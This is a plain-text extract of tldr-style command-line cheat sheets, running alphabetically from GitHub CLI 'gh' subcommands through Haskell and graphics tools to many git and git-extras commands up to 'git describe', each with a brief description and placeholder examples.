• Merge the pull request associated with the current branch interactively:

gh pr merge

• Merge the specified pull request, interactively:

gh pr merge {{pr_number}}

• Merge the pull request, removing the branch on both the local and the remote:

gh pr merge --delete-branch

• Merge the current pull request with the specified merge strategy:

gh pr merge --{{merge|squash|rebase}}

• Squash the current pull request into one commit with the message body and
merge:

gh pr merge --squash --body="{{commit_message_body}}"

• Display help:

gh pr merge --help
gh pr
Manage GitHub pull requests from the command-line.

More information: https://cli.github.com/manual/gh_pr.

• Create a pull request:

gh pr create

• Check out a pull request locally:

gh pr checkout {{pr_number}}

• View the changes made in the PR:

gh pr diff

• Approve the pull request of the current branch:

gh pr review --approve

• Merge the pull request associated with the current branch interactively:

gh pr merge

• Edit a pull request interactively:

gh pr edit

• Edit the base branch of a pull request:

gh pr edit --base {{branch_name}}


gh reference
Display a reference about the GitHub CLI command.

More information: https://cli.github.com/manual/gh_help_reference.

• Display a markdown reference of all gh commands:

gh reference
gh release
Manage GitHub releases from the command-line.

More information: https://cli.github.com/manual/gh_release.

• List releases in a GitHub repository, limited to 30 items:

gh release list

• Display information about a specific release:

gh release view {{tag}}

• Create a new release:

gh release create {{tag}}

• Delete a specific release:

gh release delete {{tag}}

• Download assets from a specific release:

gh release download {{tag}}

• Upload assets to a specific release:

gh release upload {{tag}} {{path/to/file1}} {{path/to/file2}}


gh repo
Work with GitHub repositories on the command-line.

More information: https://cli.github.com/manual/gh_repo.

• Create a new repository (if the repository name is not set, the default name will be
the name of the current directory):

gh repo create {{name}}

• Clone a repository:

gh repo clone {{owner}}/{{repository}}

• Fork and clone a repository:

gh repo fork {{owner}}/{{repository}} --clone

• View a repository in the web browser:

gh repo view {{repository}} --web

• List repositories owned by a specific user or organization (if the owner is not set,
the default owner will be the currently logged in user):

gh repo list {{owner}}

• List only non-forks repositories:

gh repo list {{owner}} --non-forks

• List repositories with a specific primary coding language:

gh repo list {{owner}} --language {{language_name}}


gh run
View, run and watch recent GitHub Actions workflow runs.

More information: https://cli.github.com/manual/gh_run.

• Interactively select a run to see information about the jobs:

gh run view

• Display information about a specific run:

gh run view {{workflow_run_number}}

• Display information about the steps of a job:

gh run view --job={{job_number}}

• Display the log of a job:

gh run view --job={{job_number}} --log

• Check a specific workflow and exit with a non-zero status if the run failed:

gh run view {{workflow_run_number}} --exit-status && {{echo


"run pending or passed"}}

• Interactively select an active run and wait until it's done:

gh run watch

• Display the jobs for a run and wait until it's done:

gh run watch {{workflow_run_number}}

• Re-run a specific workflow:

gh run rerun {{workflow_run_number}}


gh screensaver
Extension for GitHub CLI that runs animated terminal screensavers.

See also: gh extension.

More information: https://github.com/vilmibm/gh-screensaver.

• Run a random screensaver:

gh screensaver

• Run a specific screensaver:

gh screensaver --saver {{fireworks|marquee|pipes|pollock|


starfield}}

• Run the "marquee" screensaver with a specific text and font:

gh screensaver --saver {{marquee}} -- --message="{{message}}"


--font={{font_name}}

• Run the "starfield" screensaver with a specific density and speed:

gh screensaver --saver {{starfield}} -- --density {{500}} --


speed {{10}}

• List available screensavers:

gh screensaver --list
gh secret set
Create or update GitHub secrets from the command line.

More information: https://cli.github.com/manual/gh_secret_set.

• Set a secret for the current repository (user will be prompted for the value):

gh secret set {{name}}

• Set a secret from a file for the current repository:

gh secret set {{name}} < {{path/to/file}}

• Set a secret for a specific repository:

gh secret set {{name}} --body {{value}} --repo {{owner}}/


{{repository}}

• Set an organization secret for specific repositories:

gh secret set {{name}} --org {{organization}} --repos


"{{repository1,repository2,...}}"

• Set an organization secret with a specific visibility:

gh secret set {{name}} --org {{organization}} --visibility


{{all|private|selected}}
gh secret
Manage GitHub secrets from the command-line.

More information: https://cli.github.com/manual/gh_secret.

• List secret keys for the current repository:

gh secret list

• List secret keys for a specific organization:

gh secret list --org {{organization}}

• List secret keys for a specific repository:

gh secret list --repo {{owner}}/{{repository}}

• Set a secret for the current repository (user will be prompted for the value):

gh secret set {{name}}

• Set a secret from a file for the current repository:

gh secret set {{name}} < {{path/to/file}}

• Set an organization secret for specific repositories:

gh secret set {{name}} --org {{organization}} --repos


{{repository1,repository2}}

• Remove a secret for the current repository:

gh secret remove {{name}}

• Remove a secret for a specific organization:

gh secret remove {{name}} --org {{organization}}


gh ssh-key
Manage GitHub SSH keys from the command-line.

More information: https://cli.github.com/manual/gh_ssh-key.

• Display help:

gh ssh-key

• List SSH keys for the currently authenticated user:

gh ssh-key list

• Add an SSH key to the currently authenticated user's account:

gh ssh-key add {{path/to/key.pub}}

• Add an SSH key to the currently authenticated user's account with a specific title:

gh ssh-key add --title {{title}} {{path/to/key.pub}}


gh workflow
List, view, and run GitHub Actions workflows.

More information: https://cli.github.com/manual/gh_workflow.

• Interactively select a workflow to view the latest jobs for:

gh workflow view

• View a specific workflow in the default browser:

gh workflow view {{id|workflow_name|filename.yml}} --web

• Display the YAML definition of a specific workflow:

gh workflow view {{id|workflow_name|filename.yml}} --yaml

• Display the YAML definition for a specific Git branch or tag:

gh workflow view {{id|workflow_name|filename.yml}} --ref


{{branch_or_tag_name}} --yaml

• List workflow files (use --all to include disabled workflows):

gh workflow list

• Run a manual workflow with parameters:

gh workflow run {{id|workflow_name|filename.yml}} --raw-field


{{param1}}={{value1}} --raw-field {{param2}}={{value2}}

• Run a manual workflow using a specific branch or tag with JSON parameters from
stdin:

echo '{{{"param1":"value1", "param2":"value2"}}}' | gh


workflow run {{id|workflow_name|filename.yml}} --ref
{{branch_or_tag_name}}

• Enable or disable a specific workflow:

gh workflow {{enable|disable}} {{id|workflow_name|


filename.yml}}
gh
Work seamlessly with GitHub from the command-line.

Some subcommands such as gh config have their own usage documentation.

More information: https://cli.github.com/.

• Clone a GitHub repository locally:

gh repo clone {{owner}}/{{repository}}

• Create a new issue:

gh issue create

• View and filter the open issues of the current repository:

gh issue list

• View an issue in the browser:

gh issue view --web {{issue_number}}

• Create a pull request:

gh pr create

• View a pull request in the browser:

gh pr view --web {{pr_number}}

• Locally check out the branch of a pull request, given its number:

gh pr checkout {{pr_number}}

• Check the status of a repository's pull requests:

gh pr status
ghc
The Glasgow Haskell Compiler.

Compiles and links Haskell source files.

More information: https://www.haskell.org/ghc.

• Find and compile all modules in the current directory:

ghc Main

• Compile a single file:

ghc {{file.hs}}

• Compile using extra optimization:

ghc -O {{file.hs}}

• Stop compilation after generating object files (.o):

ghc -c {{file.hs}}

• Start a REPL (interactive shell):

ghci

• Evaluate a single expression:

ghc -e {{expression}}
ghci
The Glasgow Haskell Compiler's interactive environment.

More information: https://downloads.haskell.org/ghc/latest/docs/html/users_guide/


ghci.html.

• Start a REPL (interactive shell):

ghci

• Start a REPL and load the specified Haskell source file:

ghci {{source_file.hs}}

• Start a REPL and enable a language option:

ghci -X{{language_option}}

• Start a REPL and enable some level of compiler warnings (e.g. all or compact):

ghci -W{{warning_level}}

• Start a REPL with a colon-separated list of directories for finding source files:

ghci -i{{path/to/directory1}}:{{path/to/directory2}}
ghcup
Haskell toolchain installer.

Install, manage, and update Haskell toolchains.

More information: https://gitlab.haskell.org/haskell/ghcup-hs.

• Start the interactive TUI:

ghcup tui

• List available GHC/cabal versions:

ghcup list

• Install the recommended GHC version:

ghcup install ghc

• Install a specific GHC version:

ghcup install ghc {{version}}

• Set the currently "active" GHC version:

ghcup set ghc {{version}}

• Install cabal-install:

ghcup install cabal

• Update ghcup itself:

ghcup upgrade
ghdl
Open-source simulator for the VHDL language.

More information: http://ghdl.free.fr.

• Analyze a VHDL source file and produce an object file:

ghdl -a {{filename.vhdl}}

• Elaborate a design (where {{design}} is the name of a configuration unit, entity


unit or architecture unit):

ghdl -e {{design}}

• Run an elaborated design:

ghdl -r {{design}}

• Run an elaborated design and dump output to a waveform file:

ghdl -r {{design}} --wave={{output.ghw}}

• Check the syntax of a VHDL source file:

ghdl -s {{filename.vhdl}}

• Display the help page:

ghdl --help
ghost
A blogging platform and headless CMS.

More information: https://ghost.org.

• Install Ghost in the current directory:

ghost install

• Start an instance of Ghost:

ghost start

• Restart the Ghost instance:

ghost restart

• Check the system for any potential hiccups while installing or updating Ghost:

ghost doctor

• View the logs of a Ghost instance:

ghost log {{name}}

• Run a Ghost instance directly (used by process managers and for debugging):

ghost run

• View running Ghost processes:

ghost ls

• View or edit Ghost configuration:

ghost config {{key}} {{value}}


gibo
Fetch gitignore boilerplates.

More information: https://github.com/simonwhitaker/gibo.

• List available boilerplates:

gibo list

• Write a boilerplate to stdout:

gibo dump {{boilerplate}}

• Write a boilerplate to .gitignore:

gibo dump {{boilerplate}} >>{{.gitignore}}

• Search for boilerplates containing a given string:

gibo search {{string}}

• Update available local boilerplates:

gibo update
gifsicle
Create GIFs.

More information: https://www.lcdf.org/gifsicle.

• Optimise a GIF:

gifsicle --batch --optimize=3 {{amin.gif}}

• Make a GIF animation with gifsicle:

gifsicle --delay={{10}} --loop *.gif > {{anim.gif}}

• Extract frames from an animation:

gifsicle {{anim.gif}} '#0' > {{firstframe.gif}}

• You can also edit animations by replacing, deleting, or inserting frames:

gifsicle -b {{anim.gif}} --replace '#0' {{new.gif}}


gimp
GNU image manipulation program.

More information: https://docs.gimp.org/en/gimp-fire-up.html#gimp-concepts-


running-command-line.

• Launch GIMP:

gimp

• Launch GIMP without showing the splash screen:

gimp --no-splash

• Start a new GIMP instance, even if there is already a running one:

gimp --new-instance

• Open the given file as a new image:

gimp --as-new {{path/to/image}}

• Print errors and warnings to the console instead of showing them in a dialog box:

gimp --console-messages

• Enable debugging signal handlers:

gimp --debug-handlers
gist
Upload code to https://gist.github.com.

More information: https://github.com/defunkt/gist.

• Log in in gist on this computer:

gist --login

• Create a gist from any number of text files:

gist {{file.txt}} {{file2.txt}}

• Create a private gist with a description:

gist --private --description "{{A meaningful description}}"


{{file.txt}}

• Read contents from stdin and create a gist from it:

{{echo "hello world"}} | gist

• List your public and private gists:

gist --list

• List all public gists for any user:

gist --list {{username}}

• Update a gist using the ID from URL:

gist --update {{GIST_ID}} {{file.txt}}


git abort
Abort an ongoing rebase, merge, or cherry-pick.

Part of git-extras.

More information: https://github.com/tj/git-extras/blob/master/Commands.md#git-


abort.

• Abort a Git rebase, merge, or cherry-pick:

git abort
git add
Adds changed files to the index.

More information: https://git-scm.com/docs/git-add.

• Add a file to the index:

git add {{path/to/file}}

• Add all files (tracked and untracked):

git add -A

• Only add already tracked files:

git add -u

• Also add ignored files:

git add -f

• Interactively stage parts of files:

git add -p

• Interactively stage parts of a given file:

git add -p {{path/to/file}}

• Interactively stage a file:

git add -i
git alias
Create shortcuts for Git commands.

Part of git-extras.

More information: https://github.com/tj/git-extras/blob/master/Commands.md#git-


alias.

• List all aliases:

git alias

• Create a new alias:

git alias "{{name}}" "{{command}}"

• Search for an existing alias:

git alias ^{{name}}


git am
Apply patch files. Useful when receiving commits via email.

See also git format-patch, which can generate patch files.

More information: https://git-scm.com/docs/git-am.

• Apply a patch file:

git am {{path/to/file.patch}}

• Abort the process of applying a patch file:

git am --abort

• Apply as much of a patch file as possible, saving failed hunks to reject files:

git am --reject {{path/to/file.patch}}


git annex
Manage files with Git, without checking their contents in.

When a file is annexed, its content is moved into a key-value store, and a symlink is
made that points to the content.

More information: https://git-annex.branchable.com.

• Help:

git annex help

• Initialize a repo with Git annex:

git annex init

• Add a file:

git annex add {{path/to/file_or_directory}}

• Show the current status of a file or directory:

git annex status {{path/to/file_or_directory}}

• Synchronize a local repository with a remote:

git annex {{remote}}

• Get a file or directory:

git annex get {{path/to/file_or_directory}}


git annotate
Show commit hash and last author on each line of a file.

See git blame, which is preferred over git annotate.

git annotate is provided for those familiar with other version control systems.

More information: https://git-scm.com/docs/git-annotate.

• Print a file with the author name and commit hash prepended to each line:

git annotate {{path/to/file}}

• Print a file with the author email and commit hash prepended to each line:

git annotate -e {{path/to/file}}


git apply
Apply a patch to files and/or to the index.

More information: https://git-scm.com/docs/git-apply.

• Print messages about the patched files:

git apply --verbose {{path/to/file}}

• Apply and add the patched files to the index:

git apply --index {{path/to/file}}

• Apply a remote patch file:

curl {{https://example.com/file.patch}} | git apply

• Output diffstat for the input and apply the patch:

git apply --stat --apply {{path/to/file}}

• Apply the patch in reverse:

git apply --reverse {{path/to/file}}

• Store the patch result in the index without modifying the working tree:

git apply --cache {{path/to/file}}


git archive-file
Export all the files of the current Git branch into a zip archive.

Part of git-extras.

More information: https://github.com/tj/git-extras/blob/master/Commands.md#git-


archive-file.

• Pack the currently checked out commit into a zip archive:

git archive-file
git archive
Create an archive of files from a named tree.

More information: https://git-scm.com/docs/git-archive.

• Create a tar archive from the contents of the current HEAD and print it to standard
output:

git archive --verbose HEAD

• Create a zip archive from the current HEAD and print it to standard output:

git archive --verbose --format=zip HEAD

• Same as above, but write the zip archive to file:

git archive --verbose --output={{path/to/file.zip}} HEAD

• Create a tar archive from the contents of the latest commit on a specific branch:

git archive --output={{path/to/file.tar}} {{branch_name}}

• Create a tar archive from the contents of a specific directory:

git archive --output={{path/to/file.tar}} HEAD:{{path/to/


directory}}

• Prepend a path to each file to archive it inside a specific directory:

git archive --output={{path/to/file.tar}} --prefix={{path/to/


prepend}}/ HEAD
git authors
Generate a list of committers of a Git repository.

Part of git-extras.

More information: https://github.com/tj/git-extras/blob/master/Commands.md#git-


authors.

• Print a full list of committers to stdout instead of to the AUTHORS file:

git authors --list

• Append the list of committers to the AUTHORS file and open it in the default
editor:

git authors

• Append the list of committers, excluding emails, to the AUTHORS file and open it
in the default editor:

git authors --no-email


git bisect
Use binary search to find the commit that introduced a bug.

Git automatically jumps back and forth in the commit graph to progressively narrow
down the faulty commit.

More information: https://git-scm.com/docs/git-bisect.

• Start a bisect session on a commit range bounded by a known buggy commit, and a
known clean (typically older) one:

git bisect start {{bad_commit}} {{good_commit}}

• For each commit that git bisect selects, mark it as "bad" or "good" after testing
it for the issue:

git bisect {{good|bad}}

• After git bisect pinpoints the faulty commit, end the bisect session and return
to the previous branch:

git bisect reset

• Skip a commit during a bisect (e.g. one that fails the tests due to a different issue):

git bisect skip


git blame-someone-else
Blame someone else for your bad code.

More information: https://github.com/jayphelps/git-blame-someone-else.

• Change the commiter and author of a commit:

git blame-someone-else "{{author <someone@example.com>}}"


{{commit}}
git blame
Show commit hash and last author on each line of a file.

More information: https://git-scm.com/docs/git-blame.

• Print file with author name and commit hash on each line:

git blame {{file}}

• Print file with author email and commit hash on each line:

git blame -e {{file}}


git branch
Main Git command for working with branches.

More information: https://git-scm.com/docs/git-branch.

• List all branches (local and remote; the current branch is highlighted by *):

git branch --all

• List which branches include a specific Git commit in their history:

git branch --all --contains {{commit_hash}}

• Show the name of the current branch:

git branch --show-current

• Create new branch based on the current commit:

git branch {{branch_name}}

• Create new branch based on a specific commit:

git branch {{branch_name}} {{commit_hash}}

• Rename a branch (must not have it checked out to do this):

git branch -m {{old_branch_name}} {{new_branch_name}}

• Delete a local branch (must not have it checked out to do this):

git branch -d {{branch_name}}

• Delete a remote branch:

git push {{remote_name}} --delete {{remote_branch_name}}


git browse
View an upstream repository in the default browser.

Part of git-extras.

More information: https://github.com/tj/git-extras/blob/master/Commands.md#git-


browse.

• Open the first upstream in the default browser:

git browse

• Open a specific upstream in the default browser:

git browse {{upstream}}


git brv
Print a list of branches, sorted by last commit date.

Part of git-extras.

More information: https://github.com/tj/git-extras/blob/master/Commands.md#git-brv.

• List each branch showing date, latest commit hash and message:

git brv
git bug
A distributed bug tracker that uses git's internal storage, so no files are added in your
project.

You may submit your problems to the same git remote you use to interact with others,
much like commits and branches.

More information: https://github.com/MichaelMure/git-bug/blob/master/doc/md/git-


bug.md.

• Create a new identity:

git bug user create

• Create a new bug:

git bug add

• You can push your new entry to a remote:

git bug push

• You can pull for updates:

git bug pull

• List existing bugs:

git bug ls

• Filter and sort bugs using a query:

git bug ls "{{status}}:{{open}} {{sort}}:{{edit}}"

• Search for bugs by text content:

git bug ls "{{search_query}}" baz


git bugreport
Captures debug information from the system and user, generating a text file to aid in the
reporting of a bug in Git.

More information: https://git-scm.com/docs/git-bugreport.

• Create a new bug report file in the current directory:

git bugreport

• Create a new bug report file in the specified directory, creating it if it does not
exist:

git bugreport --output-directory {{path/to/directory}}

• Create a new bug report file with the specified filename suffix in strftime
format:

git bugreport --suffix {{%m%d%y}}


git bundle
Package objects and references into an archive.

More information: https://git-scm.com/docs/git-bundle.

• Create a bundle file that contains all objects and references of a specific branch:

git bundle create {{path/to/file.bundle}} {{branch_name}}

• Create a bundle file of all branches:

git bundle create {{path/to/file.bundle}} --all

• Create a bundle file of the last 5 commits of the current branch:

git bundle create {{path/to/file.bundle}} -{{5}} {{HEAD}}

• Create a bundle file of the latest 7 days:

git bundle create {{path/to/file.bundle}} --since={{7.days}}


{{HEAD}}

• Verify that a bundle file is valid and can be applied to the current repository:

git bundle verify {{path/to/file.bundle}}

• Print to the standard output the list of references contained in a bundle:

git bundle unbundle {{path/to/file.bundle}}

• Unbundle a specific branch from a bundle file into the current repository:

git pull {{path/to/file.bundle}} {{branch_name}}


git cat-file
Provide content or type and size information for Git repository objects.

More information: https://git-scm.com/docs/git-cat-file.

• Get the [s]ize of the HEAD commit in bytes:

git cat-file -s HEAD

• Get the [t]ype (blob, tree, commit, tag) of a given Git object:

git cat-file -t {{8c442dc3}}

• Pretty-[p]rint the contents of a given Git object based on its type:

git cat-file -p {{HEAD~2}}


git changelog
Generate a changelog report from repository commits and tags.

Part of git-extras.

More information: https://github.com/tj/git-extras/blob/master/Commands.md#git-


changelog.

• Update existing file or create a new History.md file with the commit messages
since the latest Git tag:

git changelog

• List commits from the current version:

git changelog --list

• List a range of commits from the tag named 2.1.0 to now:

git changelog --list --start-tag {{2.1.0}}

• List pretty formatted range of commits between the tag 0.5.0 and the tag 1.0.0:

git changelog --start-tag {{0.5.0}} --final-tag {{1.0.0}}

• List pretty formatted range of commits between the commit 0b97430 and the tag
1.0.0:

git changelog --start-commit {{0b97430}} --final-tag


{{1.0.0}}

• Specify CHANGELOG.md as the output file:

git changelog {{CHANGELOG.md}}

• Replace contents of current changelog file entirely:

git changelog --prune-old


git check-attr
For every pathname, list if each attribute is unspecified, set, or unset as a gitattribute on
that pathname.

More information: https://git-scm.com/docs/git-check-attr.

• Check the values of all attributes on a file:

git check-attr --all {{path/to/file}}

• Check the value of a specific attribute on a file:

git check-attr {{attribute}} {{path/to/file}}

• Check the value of a specific attribute on files:

git check-attr --all {{path/to/file1}} {{path/to/file2}}

• Check the value of a specific attribute on one or more files:

git check-attr {{attribute}} {{path/to/file1}} {{path/to/


file2}}
git check-ignore
Analyse and debug Git ignore / exclude (".gitignore") files.

More information: https://git-scm.com/docs/git-check-ignore.

• Check whether a file or directory is ignored:

git check-ignore {{path/to/file_or_directory}}

• Check whether multiple files or directories are ignored:

git check-ignore {{path/to/file}} {{path/to/directory}}

• Use pathnames, one per line, from stdin:

git check-ignore --stdin < {{path/to/file_list}}

• Do not check the index (used to debug why paths were tracked and not ignored):

git check-ignore --no-index {{path/to/files_or_directories}}

• Include details about the matching pattern for each path:

git check-ignore --verbose {{path/to/files_or_directories}}


git check-mailmap
Show canonical names and email addresses of contacts.

More information: https://git-scm.com/docs/git-check-mailmap.

• Look up the canonical name associated with an email address:

git check-mailmap "<{{email@example.com}}>"


git check-ref-format
Checks if a given refname is acceptable, and exits with a non-zero status if it is not.

More information: https://git-scm.com/docs/git-check-ref-format.

• Check the format of the specified refname:

git check-ref-format {{refs/head/refname}}

• Print the name of the last branch checked out:

git check-ref-format --branch @{-1}

• Normalize a refname:

git check-ref-format --normalize {{refs/head/refname}}


git checkout-index
Copy files from the index to the working tree.

More information: https://git-scm.com/docs/git-checkout-index.

• Restore any files deleted since the last commit:

git checkout-index --all

• Restore any files deleted or changed since the last commit:

git checkout-index --all --force

• Restore any files changed since the last commit, ignoring any files that were
deleted:

git checkout-index --all --force --no-create

• Export a copy of the entire tree at the last commit to the specified directory (the
trailing slash is important):

git checkout-index --all --force --prefix={{path/to/


export_directory/}}
git checkout
Checkout a branch or paths to the working tree.

More information: https://git-scm.com/docs/git-checkout.

• Create and switch to a new branch:

git checkout -b {{branch_name}}

• Create and switch to a new branch based on a specific reference (branch, remote/
branch, tag are examples of valid references):

git checkout -b {{branch_name}} {{reference}}

• Switch to an existing local branch:

git checkout {{branch_name}}

• Switch to the previously checked out branch:

git checkout -

• Switch to an existing remote branch:

git checkout --track {{remote_name}}/{{branch_name}}

• Discard all unstaged changes in the current directory (see git reset for more
undo-like commands):

git checkout .

• Discard unstaged changes to a given file:

git checkout {{filename}}

• Replace a file in the current directory with the version of it committed in a given
branch:

git checkout {{branch_name}} -- {{filename}}


git cherry-pick
Apply the changes introduced by existing commits to the current branch.

To apply changes to another branch, first use git checkout to switch to the desired
branch.

More information: https://git-scm.com/docs/git-cherry-pick.

• Apply a commit to the current branch:

git cherry-pick {{commit}}

• Apply a range of commits to the current branch (see also git rebase --onto):

git cherry-pick {{start_commit}}~..{{end_commit}}

• Apply multiple (non-sequential) commits to the current branch:

git cherry-pick {{commit_1}} {{commit_2}}

• Add the changes of a commit to the working directory, without creating a commit:

git cherry-pick -n {{commit}}


git cherry
Find commits that have yet to be applied upstream.

More information: https://git-scm.com/docs/git-cherry.

• Show commits (and their messages) with equivalent commits upstream:

git cherry -v

• Specify a different upstream and topic branch:

git cherry {{origin}} {{topic}}

• Limit commits to those within a given limit:

git cherry {{origin}} {{topic}} {{base}}


git clean
Remove untracked files from the working tree.

More information: https://git-scm.com/docs/git-clean.

• Delete files that are not tracked by Git:

git clean

• Interactively delete files that are not tracked by Git:

git clean -i

• Show what files would be deleted without actually deleting them:

git clean --dry-run

• Forcefully delete files that are not tracked by Git:

git clean -f

• Forcefully delete directories that are not tracked by Git:

git clean -fd

• Delete untracked files, including ignored files in .gitignore and .git/info/


exclude:

git clean -x
git clear-soft
Clear a Git working directory as if it was freshly cloned with the current branch
excluding files in .gitignore.

Part of git-extras.

More information: https://github.com/tj/git-extras/blob/master/Commands.md#git-


clear-soft.

• Reset all tracked files and delete all untracked files:

git clear-soft
git clear
Clear a Git working directory as if it was freshly cloned with the current branch
including files in .gitignore.

Part of git-extras.

More information: https://github.com/tj/git-extras/blob/master/Commands.md#git-


clear.

• Reset all tracked files and delete all untracked files even if they are included in the
.gitignore:

git clear
git clone
Clone an existing repository.

More information: https://git-scm.com/docs/git-clone.

• Clone an existing repository:

git clone {{remote_repository_location}}

• Clone an existing repository into a specific directory:

git clone {{remote_repository_location}} {{path/to/


directory}}

• Clone an existing repository and its submodules:

git clone --recursive {{remote_repository_location}}

• Clone a local repository:

git clone -l {{path/to/local/repository}}

• Clone quietly:

git clone -q {{remote_repository_location}}

• Clone an existing repository only fetching the 10 most recent commits on the
default branch (useful to save time):

git clone --depth {{10}} {{remote_repository_location}}

• Clone an existing repository only fetching a specific branch:

git clone --branch {{name}} --single-branch


{{remote_repository_location}}

• Clone an existing repository using a specific SSH command:

git clone --config core.sshCommand="{{ssh -i path/to/


private_ssh_key}}" {{remote_repository_location}}
git coauthor
Add another author to the latest commit. Since this command rewrites the Git history,
--force will be needed when pushing next time.

Part of git-extras.

More information: https://github.com/tj/git-extras/blob/master/Commands.md#git-


coauthor.

• Insert an additional author to the last Git commit:

git coauthor {{name}} {{name@example.com}}


git cola
A powerful Git GUI with a slick and intuitive user interface.

More information: https://git-cola.readthedocs.io.

• Start git cola:

git cola

• Start git cola in amend mode:

git cola --amend

• Prompt for a Git repository. Defaults to the current directory:

git cola --prompt

• Open the Git repository at mentioned path:

git cola --repo {{path/to/git-repository}}

• Apply the path filter to the status widget:

git cola --status-filter {{filter}}


git column
Display data in columns.

More information: https://git-scm.com/docs/git-column.

• Format the standard input as multiple columns:

ls | git column --mode={{column}}

• Format the standard input as multiple columns with a maximum width of 100:

ls | git column --mode=column --width={{100}}

• Format the standard input as multiple columns with a maximum padding of 30:

ls | git column --mode=column --padding={{30}}


git commit-graph
Write and verify Git commit-graph files.

More information: https://git-scm.com/docs/git-commit-graph.

• Write a commit-graph file for the packed commits in the repository's local .git
directory:

git commit-graph write

• Write a commit-graph file containing all reachable commits:

git show-ref --hash | git commit-graph write --stdin-commits

• Write a commit-graph file containing all commits in the current commit-graph file
along with those reachable from HEAD:

git rev-parse {{HEAD}} | git commit-graph write --stdin-


commits --append
git commit-tree
Low level utility to create commit objects.

See also: git commit.

More information: https://git-scm.com/docs/git-commit-tree.

• Create a commit object with the specified message:

git commit-tree {{tree}} -m "{{message}}"

• Create a commit object reading the message from a file (use - for stdin):

git commit-tree {{tree}} -F {{path/to/file}}

• Create a GPG-signed commit object:

git commit-tree {{tree}} -m "{{message}}" --gpg-sign

• Create a commit object with the specified parent commit object:

git commit-tree {{tree}} -m "{{message}}" -p


{{parent_commit_sha}}
git commit
Commit files to the repository.

More information: https://git-scm.com/docs/git-commit.

• Commit staged files to the repository with a message:

git commit -m "{{message}}"

• Commit staged files with a message read from a file:

git commit --file {{path/to/commit_message_file}}

• Auto stage all modified files and commit with a message:

git commit -a -m "{{message}}"

• Commit staged files and [S]ign them with the GPG key defined in ~/.gitconfig:

git commit -S -m "{{message}}"

• Update the last commit by adding the currently staged changes, changing the
commit's hash:

git commit --amend

• Commit only specific (already staged) files:

git commit {{path/to/file1}} {{path/to/file2}}

• Create a commit, even if there are no staged files:

git commit -m "{{message}}" --allow-empty


git commits-since
Display commits since a specific time or date.

Part of git-extras.

More information: https://github.com/tj/git-extras/blob/master/Commands.md#git-


commits-since.

• Display commits since yesterday:

git commits-since {{yesterday}}

• Display commits since last week:

git commits-since {{last week}}

• Display commits since last month:

git commits-since {{last month}}

• Display commits since yesterday 2pm:

git commits-since {{yesterday 2pm}}


git config
Manage custom configuration options for Git repositories.

These configurations can be local (for the current repository) or global (for the current
user).

More information: https://git-scm.com/docs/git-config.

• List only local configuration entries (stored in .git/config in the current


repository):

git config --list --local

• List only global configuration entries (stored in ~/.gitconfig):

git config --list --global

• List all configuration entries that have been defined either locally or globally:

git config --list

• Get the value of a given configuration entry:

git config alias.unstage

• Set the global value of a given configuration entry:

git config --global alias.unstage "reset HEAD --"

• Revert a global configuration entry to its default value:

git config --global --unset alias.unstage

• Edit the Git configuration for the current repository in the default editor:

git config --edit

• Edit the global Git configuration in the default editor:

git config --global --edit


git contrib
Display commits from a specific author.

Part of git-extras.

More information: https://github.com/tj/git-extras/blob/master/Commands.md#git-


contrib.

• Display all commit hashes and their corresponding commit messages from a
specific author:

git contrib {{author}}


git count-objects
Count the number of unpacked objects and their disk consumption.

More information: https://git-scm.com/docs/git-count-objects.

• Count all objects and display the total disk usage:

git count-objects

• Display a count of all objects and their total disk usage, displaying sizes in human-
readable units:

git count-objects --human-readable

• Display more verbose information:

git count-objects --verbose

• Display more verbose information, displaying sizes in human-readable units:

git count-objects --human-readable --verbose


git count
Print the total number of commits.

Part of git-extras.

More information: https://github.com/tj/git-extras/blob/master/Commands.md#git-


count.

• Print the total number of commits:

git count

• Print the number of commits per contributor and the total number of commits:

git count --all


git cp
Copy an existing file to a new location, preserving history.

Part of git-extras.

More information: https://github.com/tj/git-extras/blob/master/Commands.md#git-cp.

• Copy an existing file in a Git repo, staying in the same directory:

git cp {{file}} {{new_file}}

• Copy an existing file in a Git repo and place it elsewhere:

git cp {{path/to/file}} {{path/to/new_file}}


git create-branch
Create a Git branch in a repository.

Part of git-extras.

More information: https://github.com/tj/git-extras/blob/master/Commands.md#git-


create-branch.

• Create a local branch:

git create-branch {{branch_name}}

• Create a branch locally and on origin:

git create-branch --remote {{branch_name}}

• Create a branch locally and on upstream (through forks):

git create-branch --remote upstream {{branch_name}}


git credential
Retrieve and store user credentials.

More information: https://git-scm.com/docs/git-credential.

• Display credential information, retrieving the username and password from


configuration files:

echo "{{url=http://example.com}}" | git credential fill

• Send credential information to all configured credential helpers to store for later
use:

echo "{{url=http://example.com}}" | git credential approve

• Erase the specified credential information from all the configured credential
helpers:

echo "{{url=http://example.com}}" | git credential reject


git daemon
A really simple server for Git repositories.

More information: https://git-scm.com/docs/git-daemon.

• Launch a Git daemon with a whitelisted set of directories:

git daemon --export-all {{path/to/directory1}} {{path/to/


directory2}}

• Launch a Git daemon with a specific base directory and allow pulling from all sub-
directories that look like Git repositories:

git daemon --base-path={{path/to/directory}} --export-all --


reuseaddr

• Launch a Git daemon for the specified directory, verbosely printing log messages
and allowing Git clients to write to it:

git daemon {{path/to/directory}} --enable=receive-pack --


informative-errors --verbose
git delete-branch
Delete local and remote Git branches.

Part of git-extras. If deleting the checked out branch, only the remote branch will be
deleted.

More information: https://github.com/tj/git-extras/blob/master/Commands.md#git-


delete-branch.

• Delete a local and remote Git branch:

git delete-branch {{branch_name}}

• Delete multiple local and remote Git branches:

git delete-branch {{branch_name1 branch_name2 ...}}


git delete-merged-branches
Delete branches that are listed in git branch --merged excluding master.

Part of git-extras.

More information: https://github.com/tj/git-extras/blob/master/Commands.md#git-


delete-merged-branches.

• Delete merged branches:

git delete-merged-branches
git delete-tag
Delete existing local and remote tags.

Part of git-extras.

More information: https://github.com/tj/git-extras/blob/master/Commands.md#git-


delete-tag.

• Delete a tag:

git delete-tag {{tag_version}}


git delta
List files that differ from another branch.

Part of git-extras.

More information: https://github.com/tj/git-extras/blob/master/Commands.md#git-


delta.

• List files from the current checked out branch that differ from the main branch:

git delta {{main}}

• List files from a specific branch that differ from another specific branch:

git delta {{branch_1}} {{branch_2}}


git describe
Give an object a human-readable name based on an available ref.

More information: https://git-scm.com/docs/git-describe.

• Create a unique name for the current commit (the name contains the most recent
annotated tag, the number of additional commits, and the abbreviated commit
hash):

git describe

• Create a name with 4 digits for the abbreviated commit hash:

git describe --abbrev={{4}}

• Generate a name with the tag reference path:

git describe --all

• Describe a Git tag:

git describe {{v1.0.0}}

• Create a name for the last commit of a given branch:

git describe {{branch_name}}


